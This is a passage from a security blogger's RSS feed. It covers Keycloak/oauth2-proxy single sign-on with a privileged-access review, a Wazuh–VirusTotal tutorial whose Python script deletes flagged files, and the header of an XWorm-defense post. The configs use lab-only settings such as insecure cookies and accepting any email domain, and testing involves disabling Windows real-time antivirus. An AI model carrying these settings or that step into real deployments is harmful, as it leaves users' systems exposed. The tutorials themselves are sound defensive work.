src="https://cdn-images-1.medium.com/max/1024/1*jYuO4ujOQyZyaokLMGjp_Q.png" /></figure><p>This flow confirms that self-service registration is fully secured: new users must verify their identity, enroll in MFA, and validate their email address before being allowed into the application.</p><h3>Single Sign-On (SSO)</h3><p>Single Sign-On allows a user to authenticate once and gain access to multiple applications without being prompted to log in again. In our setup, SSO is achieved through <strong>Keycloak (IdP)</strong>, <strong>oauth2-proxy</strong>, <strong>Redis-backed sessions</strong>, and <strong>shared cookies</strong>, all coordinated behind <strong>Nginx</strong>.</p><h3>Enabling SSO with oauth2-proxy Cookies</h3><p>From the original docker-compose.yml, three key flags were configured to make SSO possible:</p><pre>##### SSO commands ######<br>- --cookie-name=_oauth2_proxy<br>- --cookie-domain=172.20.10.3<br>- --cookie-path=/</pre><p><strong>What these do:</strong></p><ul><li><strong>--cookie-name</strong><br>Ensures all oauth2-proxy instances use the <em>same session cookie name</em>. This is critical so different applications can recognize the same authenticated session.</li><li><strong>--cookie-domain</strong><br>Allows the session cookie to be shared across applications served from the same domain/IP. Without this, each app would get its own isolated cookie.</li><li><strong>--cookie-path=/</strong><br>Makes the cookie available to all URL paths under the domain, enabling multiple apps (e.g., / and /app2) to reuse the same session.</li></ul><p>Together, these settings allow a user authenticated once to be trusted by multiple oauth2-proxy instances.</p><h3>Adding a Second Application (App 2)</h3><p>To demonstrate SSO in practice, a <strong>second client</strong> was created in the keycloak realm as where the first app lives, a <strong>second Flask application</strong> was created and exposed on <strong>port 5001 </strong>and also<strong> </strong>protected by its <strong>own oauth2-proxy instance (on a different port mapping “4181:4080”)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YekYguVkq2Uzq-Flh-7KfA.png" /></figure><p>A new oauth2-proxy service (oauth2-proxy-app2) was added to the existing docker-compose.yml.</p><pre> oauth2-proxy-app2:<br>    image: quay.io/oauth2-proxy/oauth2-proxy:latest<br>    container_name: oauth2-proxy-app2<br>    ports:<br>      - &quot;4181:4180&quot;<br>    depends_on:<br>      - redis<br>    command:<br>      - --provider=oidc<br>      - --client-id=&lt;your 2nd app cleint ID&gt;<br>      - --client-secret=&lt;your 2nd app client secret&gt;<br>      - --oidc-issuer-url=http://172.20.10.3:8080/realms/expadox<br>      - --redirect-url=http://172.20.10.3/app2/oauth2/callback<br>      - --cookie-secret=&lt;your cookie secret generated from the begining&gt;<br>      - --cookie-secure=false<br>      - --email-domain=*<br>      - --http-address=0.0.0.0:4180<br>      - --reverse-proxy=true<br>      - --upstream=static://200<br>      - --session-store-type=redis<br>      - --redis-connection-url=redis://oauth2-redis:6379/0<br>      - --pass-access-token=true<br>      - --set-xauthrequest=true<br>      - --set-authorization-header=true<br>      - --pass-authorization-header=true<br>      - --pass-user-headers=true<br>      ### SSO commands ###<br>      - --cookie-name=_oauth2_proxy<br>      - --cookie-domain=172.20.10.3<br>      - --cookie-path=/</pre><p>Although this proxy uses:</p><ul><li>a different <strong>client ID</strong> in Keycloak,</li><li>a different <strong>redirect URL</strong>, and</li><li>a different <strong>listening port</strong>,</li></ul><p>it still:</p><ul><li>points to the <strong>same Keycloak realm</strong>,</li><li>uses the <strong>same Redis session store</strong>, and</li><li>shares the <strong>same cookie name, domain, and path</strong>.</li></ul><p>This is what allows both applications to trust the same login session</p><h4>Nginx Integration for App 2</h4><p>New Nginx location blocks were added to route /app2 traffic to the second oauth2-proxy and Flask app.</p><pre>    location ^~ /app2/oauth2/ {<br>        proxy_pass http://127.0.0.1:4181;<br>        proxy_set_header Host $host;<br>        proxy_set_header X-Real-IP $remote_addr;<br>        proxy_set_header X-Auth-Request-Redirect $request_uri;<br>    }<br><br>    location = /app2/oauth2/auth {<br>        internal;<br>        proxy_pass http://127.0.0.1:4181/oauth2/auth;<br>        proxy_set_header Host $host;<br>        proxy_set_header X-Forwarded-Uri $request_uri;<br>        proxy_pass_request_body off;<br>    }<br><br>    # ---------------- APP 2 ADMIN (AUTHZ) ----------------<br>    location ^~ /app2/admin {<br>        auth_request /app2/oauth2/auth;<br><br>        limit_req zone=user_ratelimit burst=3 nodelay;<br><br>        # Pass validated access token to backend<br>        auth_request_set $token $upstream_http_x_auth_request_access_token;<br>        proxy_set_header X-Access-Token $token;<br><br>        # identity header<br>        proxy_set_header X-Email $upstream_http_x_auth_request_email;<br><br>        proxy_set_header Host $host;<br>        proxy_set_header X-Forwarded-Prefix /app2;<br><br>        rewrite ^/app2/?(.*)$ /$1 break;<br><br>        proxy_pass http://127.0.0.1:5001;<br>    }<br><br>    location ^~ /app2/ {<br>        auth_request /app2/oauth2/auth;<br>        error_page 401 = /app2/oauth2/start;<br><br>        auth_request_set $email $upstream_http_x_auth_request_email;<br>        proxy_set_header X-Email $email;<br><br>        proxy_set_header Host $host;<br>        proxy_set_header X-Forwarded-Prefix /app2;<br><br>        rewrite ^/app2/?(.*)$ /$1 break;<br><br>        proxy_pass http://127.0.0.1:5001;<br>    }<br></pre><p>Key points in the configuration:</p><ul><li>Requests to /app2/oauth2/ are forwarded to the second oauth2-proxy instance.</li><li>auth_request is used to validate authentication before requests reach the backend.</li><li>Headers such as X-Email and X-Access-Token are forwarded to the Flask app for identity and authorization logic.</li><li>URL rewriting removes the /app2 prefix before forwarding traffic to the Flask service on port 5001.</li></ul><p>This mirrors the setup of App 1 while keeping both applications logically separated.</p><h4>SSO Flow in Action</h4><p>With everything in place, the SSO behavior works as follows:</p><ol><li>A user logs into <strong>App 1</strong>.</li><li>oauth2-proxy authenticates the user via Keycloak and sets the _oauth2_proxy session cookie.</li><li>The session is stored in Redis and tied to the shared cookie.</li><li>When the same user later accesses <strong>App 2</strong>, the browser automatically sends the existing cookie.</li><li>The second oauth2-proxy validates the session using Redis.</li><li>Since the session is already authenticated, <strong>no new login is required</strong>.</li><li>The user is granted immediate access to App 2.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ku1r4gJdP5gMcPP0YQvHLQ.png" /></figure><blockquote>Note: The code to the second simple app can be found in the repo where I put the first app</blockquote><p><a href="https://kizerh.notion.site/IAM-Project-Repo-2cbb325e196c8094b768d6905bea7410#2ccb325e196c8055a5d0e8b7ca602037">IAM Project Repo | Notion</a></p><h4>Key Takeaway</h4><p>SSO in this architecture is achieved <strong>without sharing applications or tokens directly</strong>, but by:</p><ul><li>centralizing identity in Keycloak,</li><li>externalizing session storage in Redis, and</li><li>carefully aligning cookie settings across oauth2-proxy instances.</li></ul><p>This makes the setup scalable: additional applications can be added later and integrated into SSO by following the same pattern.</p><h3>Privilege Access Review Script</h3><p>To complement the IAM setup, a <strong>Privilege Access Review (PAR) script</strong> was implemented to help enforce the principle of least privilege. The goal of this script is to periodically review users with elevated roles in a Keycloak realm and automatically remediate risky situations, such as <strong>privileged accounts that have been inactive beyond a defined threshold</strong>.</p><blockquote>The full script, usage instructions, configuration options, and supported features are available in the repository where the flask app code lives</blockquote><p><a href="https://kizerh.notion.site/IAM-Project-Repo-2cbb325e196c8094b768d6905bea7410#2ccb325e196c80b9b76af351045c86a7">IAM Project Repo | Notion</a></p><h4>NOTE:</h4><p>The script relies on <strong>Keycloak’s event data</strong> to determine user activity and administrative actions. For this reason, <strong>both User Events and Admin Events must be enabled</strong> in the realm.</p><h4>Enabling Events in Keycloak</h4><p>While logged into the <strong>Admin Console</strong>, navigate to the realm where your users and clients are configured, then follow these steps:</p><ol><li>Go to <strong>Realm Settings</strong>.</li><li>Open the <strong>Events</strong> section.</li><li>Under <strong>User Events Settings</strong>:</li></ol><ul><li>Toggle <strong>Save Events</strong> to <strong>ON</strong>.<br><em>This ensures login, logout, and other user activity events are recorded.</em></li></ul><p>4. Under <strong>Admin Events Settings</strong>:</p><ul><li>Toggle <strong>Save Events</strong> to <strong>ON</strong>.<br><em>This enables tracking of administrative actions such as role assignments and removals.</em></li></ul><p>Adjust any additional options (event expiration, event types, etc.) according to your organization’s retention and compliance requirements.</p><p>Once these settings are enabled, Keycloak begins persistently recording the data required for access reviews.</p><h4>Running the Script</h4><p>After event logging is active the script can be executed against the target realm. Detailed usage instructions, flags, and examples are documented directly in the script repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RWFmo__2sTmYpnKqC0U0Cw.png" /></figure><p>With this, you’ve <strong>successfully come to the end of the project</strong>. I am proud you stayed till the end🔥😌. Thanks, you can contact me for any issues you faced trying to reproduce this <br>Twitter: <a href="https://x.com/abdool_hameed_">https://x.com/abdool_hameed_</a></p><h3>Conclusion</h3><p>The completed system delivered a clean separation of concerns across the identity and access stack. Authentication and session handling were centralized and enforced before traffic reached applications, reducing attack surface and eliminating inconsistent access logic. Backend services were protected from direct exposure and OAuth complexity while still receiving reliable identity context for authorization decisions.</p><p>Single sign on and multi factor authentication were enforced consistently through Keycloak, while Redis backed sessions improved reliability and scalability. The privilege access review script added a governance layer often missing in application centric IAM designs, actively reducing unnecessary elevated access.</p><p>Overall, the project demonstrates a production aligned IAM architecture that balances security, scalability, and maintainability, while addressing both access enforcement and privilege lifecycle management in a cohesive design.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=993d4ea0f39f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automated Malware Detection & Removal: Wazuh-VirusTotal Integration for Active Response]]></title>
            <link>https://kizerh.medium.com/automated-malware-detection-removal-wazuh-virustotal-integration-for-active-response-4c7d459ab4e3?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c7d459ab4e3</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[wazuh-active-response]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[virustotal]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Sat, 29 Nov 2025 17:03:26 GMT</pubDate>
            <atom:updated>2025-11-29T17:03:26.911Z</atom:updated>
            <content:encoded><![CDATA[<p>Author: <a href="https://kiza.online/">https://kiza.online</a></p><h3>Overview</h3><p>This project focused on enhancing the endpoint security monitoring capabilities of a Wazuh deployment by integrating it with VirusTotal, a widely used malware scanning and reputation service. The goal was to automate the process of checking newly detected files against VirusTotal, enabling rapid classification of suspicious files as malicious or benign. By combining Wazuh’s real-time file monitoring with VirusTotal’s threat intelligence, the project created an automated malware detection and alerting pipeline. This integration demonstrates how security teams can leverage external threat intelligence to improve situational awareness and accelerate incident response.</p><h3>The Challenge</h3><p>Modern malware frequently uses polymorphic techniques and evasion strategies that allow it to bypass traditional signature-based defenses. Detecting such threats at the endpoint requires access to updated intelligence and the ability to correlate telemetry with external sources. The key challenge addressed in this project was automating the verification of detected files against a reliable threat intelligence source without introducing significant latency or operational overhead. Ensuring that the integration was secure, accurate, and compatible with Wazuh’s monitoring and alerting framework was critical.</p><h3>The Approach</h3><p>The approach centered on connecting Wazuh to VirusTotal using the REST API. Whenever Wazuh identified a new or modified file on the endpoint, the file’s hash was sent to VirusTotal for evaluation. The response indicated whether the file was recognized as malicious by any of VirusTotal’s antivirus engines. Custom Wazuh rules were then used to generate alerts based on the VirusTotal verdict.</p><p>The methodology involved the following steps:</p><ul><li>Configuring Wazuh agents to monitor key directories for new or modified files.</li><li>Integrating VirusTotal API with the file integrity monitoring alerts</li><li>Defining custom rules in Wazuh to trigger alerts when a file is classified as malicious.</li><li>Logging the results and optionally automating Active Response for high-confidence threats.</li></ul><p>This approach enabled continuous, automated malware verification at the endpoint level while leveraging an authoritative external intelligence source.</p><h3>Tools</h3><ul><li>Wazuh manager and Windows/Linux agents for telemetry collection and event correlation</li><li>VirusTotal API for real-time malware reputation and scanning</li><li>Python for scripting automated API queries and handling responses</li><li>Custom Wazuh rules for alerting on malicious file detections</li><li>Active Response module in Wazuh for automated threat containment</li><li>Test environment with virtual machines to safely simulate malware and benign files</li></ul><h3>Execution</h3><h3>Configuring File Integrity Monitoring (FIM) on the Endpoint</h3><p>As the first step in enabling automated malware detection via VirusTotal, I configured Wazuh’s File Integrity Monitoring (FIM) on the endpoint to watch for new or modified files. This ensures that any file creation or change ( such as a downloaded malware payload ) triggers Wazuh to capture relevant data (including file hash) that can then be sent to VirusTotal for scanning.</p><h4>Steps Taken:</h4><ol><li>Opened the agent’s configuration file which is located at C:\Program Files (x86)\ossec-agent\ossec.conf.</li><li>Located the &lt;syscheck&gt; block in ossec.conf, and ensured that &lt;disabled&gt; was set to no. This enables FIM.</li><li>Added a directory to be monitored in (near) real-time. In my case I configured Wazuh to monitor the Downloads folder of a all the users on the endpoint</li></ol><pre>&lt;syscheck&gt;<br>  …<br>  &lt;directories realtime=&quot;yes&quot;&gt;C:\Users\*\Downloads&lt;/directories&gt;<br>  …<br>&lt;/syscheck&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a75uaY7RmIQSPHBeR-5YXQ.png" /></figure><p>Saved the configuration and restarted the Wazuh agent so changes would take effect.</p><pre>Restart-Service -Name wazuh</pre><h4>Rationale and Context</h4><p>By enabling real‑time monitoring on a directory where potentially malicious files are likely to appear (e.g. Downloads), the system is immediately ready to detect file additions or modifications. This triggers Wazuh’s FIM logic to compute the file hash, which becomes a key input for the subsequent VirusTotal scan. This proactive detection step is critical because it catches threats at the moment they are dropped on disk — before execution or further system compromise.</p><h3>Configuring VirusTotal Integration on Wazuh Manager</h3><p>After enabling File Integrity Monitoring on the endpoint, the next step was to configure the Wazuh manager to query VirusTotal for file reputation analysis. This allows the manager to automatically assess whether newly detected or modified files are malicious, based on VirusTotal’s aggregated antivirus intelligence.</p><p>You need to sign up on <a href="https://www.virustotal.com/">VirusTotal</a> and obtain an API key from the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekAw6wgim07ig0ttsBXvZA.png" /></figure><p>Edit the manager configuration file /var/ossec/etc/ossec.conf and add the integration block for VirusTotal. Replace &lt;YOUR_VIRUS_TOTAL_API_KEY&gt; with your actual VirusTotal API key, the manager is configured to trigger the integration whenever any of the rules in the FIM syscheck group are triggered. This causes Wazuh to send the alert payload (in JSON form) to VirusTotal.</p><pre>&lt;ossec_config&gt;<br>  &lt;integration&gt;<br>    &lt;name&gt;virustotal&lt;/name&gt;<br>    &lt;api_key&gt;&lt;YOUR_VIRUS_TOTAL_API_KEY&gt;&lt;/api_key&gt; &lt;!-- Replace with your VirusTotal API key --&gt;<br>    &lt;group&gt;syscheck&lt;/group&gt;<br>    &lt;alert_format&gt;json&lt;/alert_format&gt;<br>  &lt;/integration&gt;<br>&lt;/ossec_config&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sca_fgSQplD5vAa6i5iudQ.png" /></figure><p>Restart the Wazuh manager to apply the configuration changes:</p><pre>sudo systemctl restart wazuh-manager</pre><h3>Rationale and Context</h3><p>By integrating VirusTotal at the manager level, every file detected on endpoints is automatically verified for maliciousness. Only the file hash is sent in the query, preserving privacy and reducing bandwidth usage. Alerts generated by VirusTotal responses allow the security team to quickly identify threats and optionally trigger Active Response on the endpoint.</p><h4><strong>With this we have set up our wazuh to alert us whenver a file is identified to be malicious by VirusTotal, now our next step is to configure an Active Response that will delete any file that is flagged</strong></h4><h3>Configuring Active Response on the Windows Endpoint</h3><p>After completing the File integriyt monitoring and Virus total integrtion, the next step is to configure the Active Response on the Windows endpoint. This ensures that any detected threat is automatically removed at the source, minimizing dwell time and preventing malware persistence.</p><h3>Deploying the Active Response Script</h3><p>We create an Active Response script that automatically deletes any file that virustoatl flags as malicious.</p><p>The script was named remove-threat2.py with the following content:</p><pre># Copyright (C) 2015-2025, Wazuh Inc.<br># All rights reserved.<br><br>import os<br>import sys<br>import json<br>import datetime<br>import stat<br>import tempfile<br>import pathlib<br><br>if os.name == &#39;nt&#39;:<br>    LOG_FILE = &quot;C:\\Program Files (x86)\\ossec-agent\\active-response\\active-responses.log&quot;<br>else:<br>    LOG_FILE = &quot;/var/ossec/logs/active-responses.log&quot;<br><br>ADD_COMMAND = 0<br>DELETE_COMMAND = 1<br>CONTINUE_COMMAND = 2<br>ABORT_COMMAND = 3<br><br>OS_SUCCESS = 0<br>OS_INVALID = -1<br><br>class message:<br>    def __init__(self):<br>        self.alert = &quot;&quot;<br>        self.command = 0<br><br>def write_debug_file(ar_name, msg):<br>    with open(LOG_FILE, mode=&quot;a&quot;) as log_file:<br>        log_file.write(str(datetime.datetime.now().strftime(&#39;%Y/%m/%d %H:%M:%S&#39;)) + &quot; &quot; + ar_name + &quot;: &quot; + msg +&quot;\n&quot;)<br><br>def setup_and_check_message(argv):<br>    input_str = &quot;&quot;<br>    for line in sys.stdin:<br>        input_str = line<br>        break<br><br>    msg_obj = message()<br>    try:<br>        data = json.loads(input_str)<br>    except ValueError:<br>        write_debug_file(argv[0], &#39;Decoding JSON has failed, invalid input format&#39;)<br>        msg_obj.command = OS_INVALID<br>        return msg_obj<br><br>    msg_obj.alert = data<br>    command = data.get(&quot;command&quot;)<br><br>    if command == &quot;add&quot;:<br>        msg_obj.command = ADD_COMMAND<br>    elif command == &quot;delete&quot;:<br>        msg_obj.command = DELETE_COMMAND<br>    else:<br>        msg_obj.command = OS_INVALID<br>        write_debug_file(argv[0], &#39;Not valid command: &#39; + command)<br><br>    return msg_obj<br><br>def send_keys_and_check_message(argv, keys):<br>    keys_msg = json.dumps({&quot;version&quot;: 1,&quot;origin&quot;:{&quot;name&quot;: argv[0],&quot;module&quot;:&quot;active-response&quot;},&quot;command&quot;:&quot;check_keys&quot;,&quot;parameters&quot;:{&quot;keys&quot;:keys}})<br>    write_debug_file(argv[0], keys_msg)<br><br>    print(keys_msg)<br>    sys.stdout.flush()<br><br>    input_str = &quot;&quot;<br>    while True:<br>        line = sys.stdin.readline()<br>        if line:<br>            input_str = line<br>            break<br><br>    try:<br>        data = json.loads(input_str)<br>    except ValueError:<br>        write_debug_file(argv[0], &#39;Decoding JSON has failed, invalid input format&#39;)<br>        return OS_INVALID<br><br>    action = data.get(&quot;command&quot;)<br>    if action == &quot;continue&quot;:<br>        return CONTINUE_COMMAND<br>    elif action == &quot;abort&quot;:<br>        return ABORT_COMMAND<br>    else:<br>        write_debug_file(argv[0], &quot;Invalid value of &#39;command&#39;&quot;)<br>        return OS_INVALID<br><br>def secure_delete_file(filepath_str, ar_name):<br>    filepath = pathlib.Path(filepath_str)<br><br>    # Reject NTFS alternate data streams<br>    if &#39;::&#39; in filepath_str:<br>        raise Exception(f&quot;Refusing to delete ADS or NTFS stream: {filepath_str}&quot;)<br><br>    # Reject symbolic links and reparse points<br>    if os.path.islink(filepath):<br>        raise Exception(f&quot;Refusing to delete symbolic link: {filepath}&quot;)<br><br>    attrs = os.lstat(filepath).st_file_attributes<br>    if attrs &amp; stat.FILE_ATTRIBUTE_REPARSE_POINT:<br>        raise Exception(f&quot;Refusing to delete reparse point: {filepath}&quot;)<br><br>    resolved_filepath = filepath.resolve()<br><br>    # Ensure it&#39;s a regular file<br>    if not resolved_filepath.is_file():<br>        raise Exception(f&quot;Target is not a regular file: {resolved_filepath}&quot;)<br><br>  # Perform deletion<br>    os.remove(resolved_filepath)<br><br>def main(argv):<br>    write_debug_file(argv[0], &quot;Started&quot;)<br>    msg = setup_and_check_message(argv)<br><br>    if msg.command &lt; 0:<br>        sys.exit(OS_INVALID)<br><br>    if msg.command == ADD_COMMAND:<br>        alert = msg.alert[&quot;parameters&quot;][&quot;alert&quot;]<br>        keys = [alert[&quot;rule&quot;][&quot;id&quot;]]<br>        action = send_keys_and_check_message(argv, keys)<br><br>        if action != CONTINUE_COMMAND:<br>            if action == ABORT_COMMAND:<br>                write_debug_file(argv[0], &quot;Aborted&quot;)<br>                sys.exit(OS_SUCCESS)<br>            else:<br>                write_debug_file(argv[0], &quot;Invalid command&quot;)<br>                sys.exit(OS_INVALID)<br><br>        try:<br>            file_path = alert[&quot;data&quot;][&quot;virustotal&quot;][&quot;source&quot;][&quot;file&quot;]<br>            if os.path.exists(file_path):<br>                secure_delete_file(file_path, argv[0])<br>                write_debug_file(argv[0], json.dumps(msg.alert) + &quot; Successfully removed threat&quot;)<br>            else:<br>                write_debug_file(argv[0], f&quot;File does not exist: {file_path}&quot;)<br>        except OSError as error:<br>            write_debug_file(argv[0], json.dumps(msg.alert) + &quot;Error removing threat&quot;)<br>        except Exception as e:<br>            write_debug_file(argv[0], f&quot;{json.dumps(msg.alert)}: Error removing threat: {str(e)}&quot;)<br>    else:<br>        write_debug_file(argv[0], &quot;Invalid command&quot;)<br><br>    write_debug_file(argv[0], &quot;Ended&quot;)<br>    sys.exit(OS_SUCCESS)<br><br>if __name__ == &quot;__main__&quot;:<br>    main(sys.argv)</pre><p>In a Wazuh Active Response setup for Windows, the Python script remove-threat2.py cannot run directly on all endpoints due to dependency on a Python interpreter. To ensure seamless execution by the Wazuh agent, the script was converted into a standalone Windows executable (remove-threat.exe).</p><h3>Conversion Process</h3><h3>Python Install</h3><p>If the endpoint has <a href="https://www.python.org/downloads/">Python</a> 3.14 installed (with pip), skip to the next step, otherwise follow the link and install python on the endpoint and make sure to select the following checkboxes during installation:</p><ul><li>Add Python.exe to PATH</li><li>Use admin privileges when installing py.exe</li></ul><blockquote><em>Disable the path length limit if the installation is giving you problems</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*ADxQfIebVMo3sVoL7GGChg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*Um-p5PucKnpsdQf1e9T77Q.png" /></figure><h3>Install PyInstaller</h3><p>On a system with Python 3 installed, PyInstaller was installed via pip:</p><pre>pip install -U pyinstaller</pre><p>PyInstaller packages Python scripts into standalone executables that include the interpreter and required libraries, allowing execution on machines without Python installed.</p><h3>Conversion</h3><p>The folder containing remove-threat.py was accessed and the script was converted using PyInstaller with the following command:</p><pre>pyinstaller -F remove-threat2.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c5PSAX5kEwgB327bnM7A4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gspgtTaYsAeou_wDSzo6aQ.png" /></figure><p>Upon completion, PyInstaller creates a dist folder in the working directory containing remove-threat2.exe.</p><p>Because this is a custom script, no out-of-the-box Windows active-response command from Wazuh is used. The agent configuration must be ready to accept external commands (custom script execution). According to the Wazuh documentation on Active Response, custom scripts should be placed in the agent’s active-response\\bin directory so they can be executed when triggered.</p><p>This file is then copied to the Wazuh agent’s Active Response directory:</p><ul><li>C:\Program Files (x86)\ossec-agent\active-response\bin\</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uTvxzvGOnq2FpoUqJdWNCA.png" /></figure><p>Restart the Wazuh agent to apply the changes. Run the following PowerShell command as an administrator:</p><pre>Restart-Service -Name wazuh</pre><h3>Configuring the Wazuh Active Response Module on Wazuh Server</h3><p>Once the custom active‑response script (remove-threat2.exe, compiled from theremove-threat2.py) is deployed on the Windows agent, the next step is to configure the server to trigger that script automatically when the file is identified to be malicious by VirusTotal.</p><h3>Defining the Active Response Command</h3><p>On the Wazuh manager, open the main configuration file located at /var/ossec/etc/ossec.conf. Within the &lt;ossec_config&gt; scope, a &lt;command&gt; block must be defined to map a name to the executable that should run on the agent.</p><p>Add the following configuration block</p><pre>&lt;command&gt;<br>  &lt;name&gt;remove-threat&lt;/name&gt;<br>  &lt;executable&gt;remove-threat2.exe&lt;/executable&gt;<br>  &lt;timeout_allowed&gt;no&lt;/timeout_allowed&gt;<br>&lt;/command&gt;</pre><ul><li>The &lt;name&gt; tag defines the label by which Wazuh refers to the command</li><li>The &lt;executable&gt; tag specifies the actual file that will be executed on the agent when triggered (remove-threat2.exe). This should match the filename of the compiled active‑response binary deployed to the agent’s active-response\\bin folder.</li><li>&lt;timeout_allowed&gt; set to no means the action will run and not revert after a timeout; suitable for deletion actions where you don’t intend to revert.</li></ul><h3>Configuring the Active Response Trigger</h3><p>Still in /var/ossec/etc/ossec.conf, define an &lt;active-response&gt; block that ties the detection rule(s) to the command defined above. For example:</p><pre>&lt;active-response&gt;<br>  &lt;disabled&gt;no&lt;/disabled&gt;<br>  &lt;command&gt;remove-threat&lt;/command&gt;<br>  &lt;location&gt;local&lt;/location&gt;<br>  &lt;rules_id&gt;87105&lt;/rules_id&gt;<br>&lt;/active-response&gt;</pre><p>Meaning of fields:</p><ul><li>&lt;disabled&gt; set to no enables this active response.</li><li>&lt;command&gt; references the command name defined earlier (remove-threat).</li><li>&lt;location&gt; set to local instructs Wazuh to run the command on the agent (the affected Windows host) rather than on the server.</li><li>&lt;rules_id&gt; lists the rule ID that trigger this action (in this case87105), which corresponds to the rule we that alerts when a file has a positive match with a malicious file from VirusTotal</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t2P_LJVCu3BZhQbCB78szA.png" /></figure><h3>Define Alert Rules for Active Response Outcomes</h3><p>To track whether the active response succeeded or failed, additional custom rules can be added to the server’s local_rules.xmllocated at /var/ossec/etc/rules/local_rules.xml</p><pre>&lt;group name=&quot;virustotal,&quot;&gt;<br>  &lt;rule id=&quot;100092&quot; level=&quot;12&quot;&gt;<br>      &lt;if_sid&gt;657&lt;/if_sid&gt;<br>      &lt;match&gt;Successfully removed threat&lt;/match&gt;<br>      &lt;description&gt;$(parameters.program) removed threat located at $(parameters.alert.data.virustotal.source.file)&lt;/description&gt;<br>  &lt;/rule&gt;<br><br>  &lt;rule id=&quot;100093&quot; level=&quot;12&quot;&gt;<br>    &lt;if_sid&gt;657&lt;/if_sid&gt;<br>    &lt;match&gt;Error removing threat&lt;/match&gt;<br>    &lt;description&gt;Error removing threat located at $(parameters.alert.data.virustotal.source.file)&lt;/description&gt;<br>  &lt;/rule&gt;<br>&lt;/group&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRRMIkl5Vm-b5dI9-aHALQ.png" /></figure><p>These allow you to see success or failure messages for the removal action in the manager alerts.</p><h3>Restart the Wazuh manager</h3><p>Apply the changes by restarting the manager:</p><pre>sudo systemctl restart wazuh-manager</pre><p>This completes the manager configuration for the binding of an active response to remove threats automatically after VirusTotal flags them.</p><h3>Validation</h3><p>The final stage involved validating the full detection and automatic removal workflow using the EICAR test sample. The goal of this validation was to confirm that File Integrity Monitoring detected the file creation, VirusTotal received the file hash and returned a malicious verdict, and the Active Response mechanism on the Windows endpoint successfully removed the file.</p><p>To simulate a real malware event, windows relatime monitoring was first disbled so that it will not delete prevent the malware from being downloaded before the active respone</p><ol><li>Click on the Start menu and type Windows Security to search for that app.</li><li>Select the Windows Security app from results, go to Virus &amp; threat protection, and under Virus &amp; threat protection settings select Manage settings.</li><li>Switch Real-time protection to Off.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55wAreqUvU1_ixaDnHgZyw.png" /></figure><p>The EICAR antivirus test string then downloaded and saved the directory monitored by FIM.</p><pre>Invoke-WebRequest -Uri &quot;https://www.eicar.org/download/eicar.com.txt&quot; -OutFile &quot;$env:USERPROFILE\Downloads\eicar.com.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Do2xP4d9Kkfgl5graqDJDQ.png" /></figure><p>This action immediately triggered a syscheck event on the Wazuh agent. The agent forwarded the alert to the Wazuh manager, satisfying the conditions for the FIM rules that were mapped to VirusTotal integration.</p><p>Upon receiving the alert, the manager executed the VirusTotal integration module because the alert matched the rule ids defined in the &lt;integration&gt; block. The manager extracted the file hash from the alert and submitted it automatically to VirusTotal in JSON format.</p><p>VirusTotal responded with a malicious verdict for the EICAR sample.</p><p>This alert triggered the associated Active Response block linked to rules_id 87105.</p><p>After the VirusTotal verdict alert was generated, the manager issued an Active Response command instructing the Windows agent to run the removal executable</p><p>Finally, the Wazuh dashboard confirmed the entire sequence of events:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UxGL9TZVoew8P6uM1lP0EA.png" /></figure><p>This created a complete, traceable chain of events from detection to analysis to containment.</p><h3>The Outcome</h3><p>The integration successfully enabled real-time verification of endpoint files against VirusTotal. Suspicious files were automatically scanned, and alerts were generated when a file was confirmed as malicious by VirusTotal engines. The project demonstrated several key outcomes:</p><ul><li>Reduced manual effort for malware classification, allowing security teams to focus on high-priority alerts.</li><li>Enhanced detection accuracy by leveraging an authoritative threat intelligence source.</li><li>Provided a foundation for automated containment workflows, integrating detection with Wazuh Active Response.</li><li>Improved operational visibility, as all alerts and VirusTotal results were logged centrally in Wazuh for auditing and reporting.</li></ul><p>This project highlights the value of combining endpoint monitoring with external intelligence, demonstrating a practical, professional-grade solution for malware detection and automated threat response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-vT2DRo-qTQ3bRVBGrLzQ.png" /><figcaption>This is just used as thumnail, no correlation to the above project</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c7d459ab4e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wazuh-Based Malware Defense Engineering: XWorm Behavior Monitoring, Hash Intelligence, and…]]></title>
            <link>https://kizerh.medium.com/wazuh-based-malware-defense-engineering-xworm-behavior-monitoring-hash-intelligence-and-999dde1ae995?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/999dde1ae995</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[remoteaccesstrojan]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Fri, 28 Nov 2025 16:57:20 GMT</pubDate>
            <atom:updated>2025-12-21T21:16:42.787Z</atom:updated>
